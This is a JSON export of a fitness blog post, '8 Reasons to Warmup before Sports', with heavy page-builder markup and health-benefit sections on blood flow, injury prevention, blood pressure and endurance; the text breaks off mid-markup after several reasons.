{"id":1554,"date":"2016-01-18T16:44:03","date_gmt":"2016-01-18T11:14:03","guid":{"rendered":"https:\/\/spyn.co\/blog\/?p=1554"},"modified":"2018-05-01T06:27:03","modified_gmt":"2018-05-01T00:57:03","slug":"8-reasons-to-warmup-before-sports","status":"publish","type":"post","link":"https:\/\/spyn.co\/blog\/8-reasons-to-warmup-before-sports\/","title":{"rendered":"8 Reasons to Warmup before Sports"},"content":{"rendered":"\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-26024c246789980a5b6aa5f7cb9664e4\">\n#top .av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4{\npadding-bottom:0;\ncolor:#2282e8;\nfont-size:60px;\n}\nbody .av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n#top #wrap_all .av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .av-special-heading-tag{\nfont-size:60px;\n}\n.av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .special-heading-inner-border{\nborder-color:#2282e8;\n}\n.av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .av-subheading{\nfont-size:15px;\n}\n\n@media only screen and (min-width: 480px) and (max-width: 767px){ \n#top #wrap_all .av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n\n@media only screen and (max-width: 479px){ \n#top #wrap_all .av-special-heading.av-av_heading-26024c246789980a5b6aa5f7cb9664e4 .av-special-heading-tag{\nfont-size:0.8em;\n}\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-26024c246789980a5b6aa5f7cb9664e4 av-special-heading-h4 custom-color-heading blockquote modern-quote modern-centered  avia-builder-el-0  el_before_av_textblock  avia-builder-el-first  av-inherit-size'><h4 class='av-special-heading-tag '  itemprop=\"headline\"  >8 Reasons to Warmup before Sports<\/h4><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Many of the casual sports players are guilty of skipping their warmup. Some\u00a0believe a warmup is needed only by the professional players playing at high intensity. And they couldn&#8217;t be further from the truth. Here is why each and every sports activity\u00a0must necessarily\u00a0start with an appropriate warmup.<\/p>\n<\/div><\/section>\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_1'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-2  el_after_av_textblock  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_full-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_full  avia-builder-el-3  el_before_av_one_third  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3\">\n#top .av-special-heading.av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3{\npadding-bottom:10px;\ncolor:#2282e8;\n}\nbody .av-special-heading.av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3 .special-heading-inner-border{\nborder-color:#2282e8;\n}\n.av-special-heading.av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-0b86ba59ea3478c4f9f7d58e055656d3 av-special-heading-h3 custom-color-heading blockquote modern-quote  avia-builder-el-4  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Post WarmUp Changes in Your Body<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>A warmup increases blood flow to your working muscles.\u00a0Increased blood flow\u00a0means a higher supply of energy and more supple muscles and tissues.\u00a0Muscles are able to burn more energy that increases the muscle, blood and hence body temperature. Muscles work best at 40 degree, better preparing them for the impending additional workload. Increased blood temperature allows you to work out longer or harder.\u00a0Higher temperature also facilitates nerve transmission and muscle metabolism. A specific warm up can facilitate motor unit recruitment required in subsequent all out activity.<\/p>\n<p>As we will see, this\u00a0positively impacts many different aspects of your performance.<\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-2d47f9ce0b00fd05718d1ec4779473a2\">\n.flex_column.av-av_one_third-2d47f9ce0b00fd05718d1ec4779473a2{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_third-2d47f9ce0b00fd05718d1ec4779473a2 av_one_third  avia-builder-el-6  el_after_av_one_full  el_before_av_one_third  first flex_column_div av-zero-column-padding  column-top-margin'     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-dad2b141e0036a9872ecfbe49ef6761b\">\n.avia-image-container.av-av_image-dad2b141e0036a9872ecfbe49ef6761b img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-dad2b141e0036a9872ecfbe49ef6761b .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-dad2b141e0036a9872ecfbe49ef6761b av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-7  el_before_av_textblock  avia-builder-el-first '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1595 avia-img-lazy-loading-not-1595 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-80x80.png\" alt='Higher Blood Flow' title='Higher Blood Flow'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/heart.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: center\"><strong><em>Higher Blood Flow<\/em><\/strong><\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_one_third-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_third-2a64de42b738552fe666ca889af77e28 av_one_third  avia-builder-el-9  el_after_av_one_third  el_before_av_one_third  flex_column_div av-zero-column-padding  column-top-margin'     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-729b763d6fea6547ef00bb39c7ede954\">\n.avia-image-container.av-av_image-729b763d6fea6547ef00bb39c7ede954 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-729b763d6fea6547ef00bb39c7ede954 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-729b763d6fea6547ef00bb39c7ede954 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-10  el_before_av_textblock  avia-builder-el-first '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1622 avia-img-lazy-loading-not-1622 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-80x80.png\" alt='Increased Body Temperature before activity' title='Increased Body Temperature'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/thermometerrise.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: center\"><strong><em>Increased Body\u00a0Temperature<\/em><\/strong><\/p>\n<\/div><\/section><\/p><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_third-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_one_third-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_third-2a64de42b738552fe666ca889af77e28 av_one_third  avia-builder-el-12  el_after_av_one_third  avia-builder-el-last  flex_column_div av-zero-column-padding  column-top-margin'     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-3af0b4fbad8b5b1206938f0bd97eb485\">\n.avia-image-container.av-av_image-3af0b4fbad8b5b1206938f0bd97eb485 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-3af0b4fbad8b5b1206938f0bd97eb485 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-3af0b4fbad8b5b1206938f0bd97eb485 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-13  el_before_av_textblock  avia-builder-el-first '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1486 avia-img-lazy-loading-not-1486 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Physique-icon-80x80.png\" alt='Prime Nerve-Muscle Pathways' title='Prime Nerve-Muscle Pathways'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Physique-icon-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Physique-icon-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Physique-icon-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Physique-icon.png 170w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p style=\"text-align: center\"><strong><em>Prime Nerve-Muscle Pathways<\/em><\/strong><\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_2'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-15  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf\">\n#top .av-special-heading.av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf{\npadding-bottom:10px;\ncolor:#2282e8;\n}\nbody .av-special-heading.av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf .special-heading-inner-border{\nborder-color:#2282e8;\n}\n.av-special-heading.av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-bbec6a7b311fbda39d882e711ed1cfcf av-special-heading-h3 custom-color-heading blockquote modern-quote  avia-builder-el-16  avia-builder-el-no-sibling '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >&#8230; and their Benefits<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_3'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-17  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-18  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-c5c27920557dbd72bfc1e26926296e03\">\n.avia-image-container.av-av_image-c5c27920557dbd72bfc1e26926296e03 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-c5c27920557dbd72bfc1e26926296e03 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-c5c27920557dbd72bfc1e26926296e03 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-19  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1597 avia-img-lazy-loading-not-1597 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-80x80.png\" alt='No Soft-Tissue Injuries' title='No Soft-Tissue Injuries'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/knee.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-20  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-c2c916ec0df37cc9d7edf1acfd5e651b\">\n#top .av-special-heading.av-av_heading-c2c916ec0df37cc9d7edf1acfd5e651b{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-c2c916ec0df37cc9d7edf1acfd5e651b .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-c2c916ec0df37cc9d7edf1acfd5e651b .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-c2c916ec0df37cc9d7edf1acfd5e651b av-special-heading-h3 blockquote modern-quote  avia-builder-el-21  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >No Soft-Tissue Injuries<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>The increased muscle temperature does wonders.\u00a0It improves muscle elasticity allowing muscular joints to move through a greater range of motion easily and safely. Which means<\/p>\n<ul>\n<li>greater reach<\/li>\n<li>reduced chances of soft tissue (ligament, tendon and muscle) injuries<\/li>\n<\/ul>\n<h1><\/h1>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_4'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-23  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-24  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-6368e5206b6b9e7c5853c3d1d29a2a62\">\n.avia-image-container.av-av_image-6368e5206b6b9e7c5853c3d1d29a2a62 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-6368e5206b6b9e7c5853c3d1d29a2a62 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-6368e5206b6b9e7c5853c3d1d29a2a62 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-25  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1594 avia-img-lazy-loading-not-1594 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-80x80.jpg\" alt='No High Blood Pressure' title='No High Blood Pressure'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-80x80.jpg 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-300x300.jpg 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-36x36.jpg 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-180x180.jpg 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure-120x120.jpg 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/blood-pressure.jpg 339w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-26  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-50051506008cef85267ced90a1f16a0e\">\n#top .av-special-heading.av-av_heading-50051506008cef85267ced90a1f16a0e{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-50051506008cef85267ced90a1f16a0e .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-50051506008cef85267ced90a1f16a0e .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-50051506008cef85267ced90a1f16a0e av-special-heading-h3 blockquote modern-quote  avia-builder-el-27  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >No High Blood Pressure<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Increased body temperature causes blood vessels to dilate (expand). This avoids a rapid increase in blood pressure and reduces stress on your heart so you don&#8217;t feel breathless.\u00a0It is always prudent to prepare your heart gradually for an increase in activity.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_5'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-29  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-2d47f9ce0b00fd05718d1ec4779473a2\">\n.flex_column.av-av_one_fourth-2d47f9ce0b00fd05718d1ec4779473a2{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-2d47f9ce0b00fd05718d1ec4779473a2 av_one_fourth  avia-builder-el-30  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-36704b6eb325de4ee3a134a834a188f5\">\n.avia-image-container.av-av_image-36704b6eb325de4ee3a134a834a188f5 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-36704b6eb325de4ee3a134a834a188f5 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div  class='avia-image-container av-av_image-36704b6eb325de4ee3a134a834a188f5 av-styling- avia_animated_image av-animated-when-visible-95 pop-up avia-align-center  avia-builder-el-31  avia-builder-el-no-sibling '   itemprop=\"image\" itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/ImageObject\" ><div class=\"avia-image-container-inner\"><div class=\"avia-image-overlay-wrap\"><img decoding=\"async\" fetchpriority=\"high\" class='wp-image-1590 avia-img-lazy-loading-not-1590 avia_image ' src=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-80x80.png\" alt='Reduced Breathlessness, Increased Endurance' title='Reduced Breathlessness, Increased Endurance'  height=\"80\" width=\"80\"  itemprop=\"thumbnailUrl\" srcset=\"https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-80x80.png 80w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-300x300.png 300w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-36x36.png 36w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-180x180.png 180w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired-120x120.png 120w, https:\/\/spyn.co\/blog\/wp-content\/uploads\/Tired.png 450w\" sizes=\"(max-width: 80px) 100vw, 80px\" \/><\/div><\/div><\/div><\/div>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_three_fourth-2a64de42b738552fe666ca889af77e28\">\n.flex_column.av-av_three_fourth-2a64de42b738552fe666ca889af77e28{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_three_fourth-2a64de42b738552fe666ca889af77e28 av_three_fourth  avia-builder-el-32  el_after_av_one_fourth  avia-builder-el-last  flex_column_div av-zero-column-padding  '     ><p>\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_heading-ef45f5fbaf752f40499351af63a45ba5\">\n#top .av-special-heading.av-av_heading-ef45f5fbaf752f40499351af63a45ba5{\npadding-bottom:10px;\n}\nbody .av-special-heading.av-av_heading-ef45f5fbaf752f40499351af63a45ba5 .av-special-heading-tag .heading-char{\nfont-size:25px;\n}\n.av-special-heading.av-av_heading-ef45f5fbaf752f40499351af63a45ba5 .av-subheading{\nfont-size:15px;\n}\n<\/style>\n<div  class='av-special-heading av-av_heading-ef45f5fbaf752f40499351af63a45ba5 av-special-heading-h3 blockquote modern-quote  avia-builder-el-33  el_before_av_textblock  avia-builder-el-first '><h3 class='av-special-heading-tag '  itemprop=\"headline\"  >Reduced Breathlessness, Increased Endurance<\/h3><div class=\"special-heading-border\"><div class=\"special-heading-inner-border\"><\/div><\/div><\/div><br \/>\n<section  class='av_textblock_section av-av_textblock-0366cc7376be6c9e82a3e9cc8987b64f '   itemscope=\"itemscope\" itemtype=\"https:\/\/schema.org\/BlogPosting\" itemprop=\"blogPost\" ><div class='avia_textblock'  itemprop=\"text\" ><p>Improved blood flow increase the delivery of oxygen and nutrients to your muscles. Higher muscle temperature weakens the bond between heamoglobin and oxygen, making more oxygen available for energy. This prevents you from getting out of breath to early or too easily. Basically improving your endurance.<\/p>\n<\/div><\/section><\/p><\/div>\n\n<\/div><\/div><\/div><!-- close content main div --><\/div><\/div><div id='av_section_6'  class='avia-section av-av_section-d18d8c2c81d10022ebd21ffa95322c35 main_color avia-section-default avia-no-shadow  avia-builder-el-35  el_after_av_section  el_before_av_section  avia-bg-style-scroll container_wrap fullsize'  ><div class='container av-section-cont-open' ><div class='template-page content  av-content-full alpha units'><div class='post-entry post-entry-type-page post-entry-1554'><div class='entry-content-wrapper clearfix'>\n\n<style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb\">\n.flex_column.av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb{\nborder-radius:0px 0px 0px 0px;\npadding:0px 0px 0px 0px;\n}\n<\/style>\n<div  class='flex_column av-av_one_fourth-352b07ef7d3bc99b2e9f92e7a9e06bdb av_one_fourth  avia-builder-el-36  el_before_av_three_fourth  avia-builder-el-first  first flex_column_div av-zero-column-padding  '     ><style type=\"text\/css\" data-created_by=\"avia_inline_auto\" id=\"style-css-av-av_image-c5b2cf23932cad0622ce674a4bb854e9\">\n.avia-image-container.av-av_image-c5b2cf23932cad0622ce674a4bb854e9 img.avia_image{\nbox-shadow:none;\n}\n.avia-image-container.av-av_image-c5b2cf23932cad0622ce674a4bb854e9 .av-image-caption-overlay-center{\ncolor:#ffffff;\n}\n<\/style>\n<div 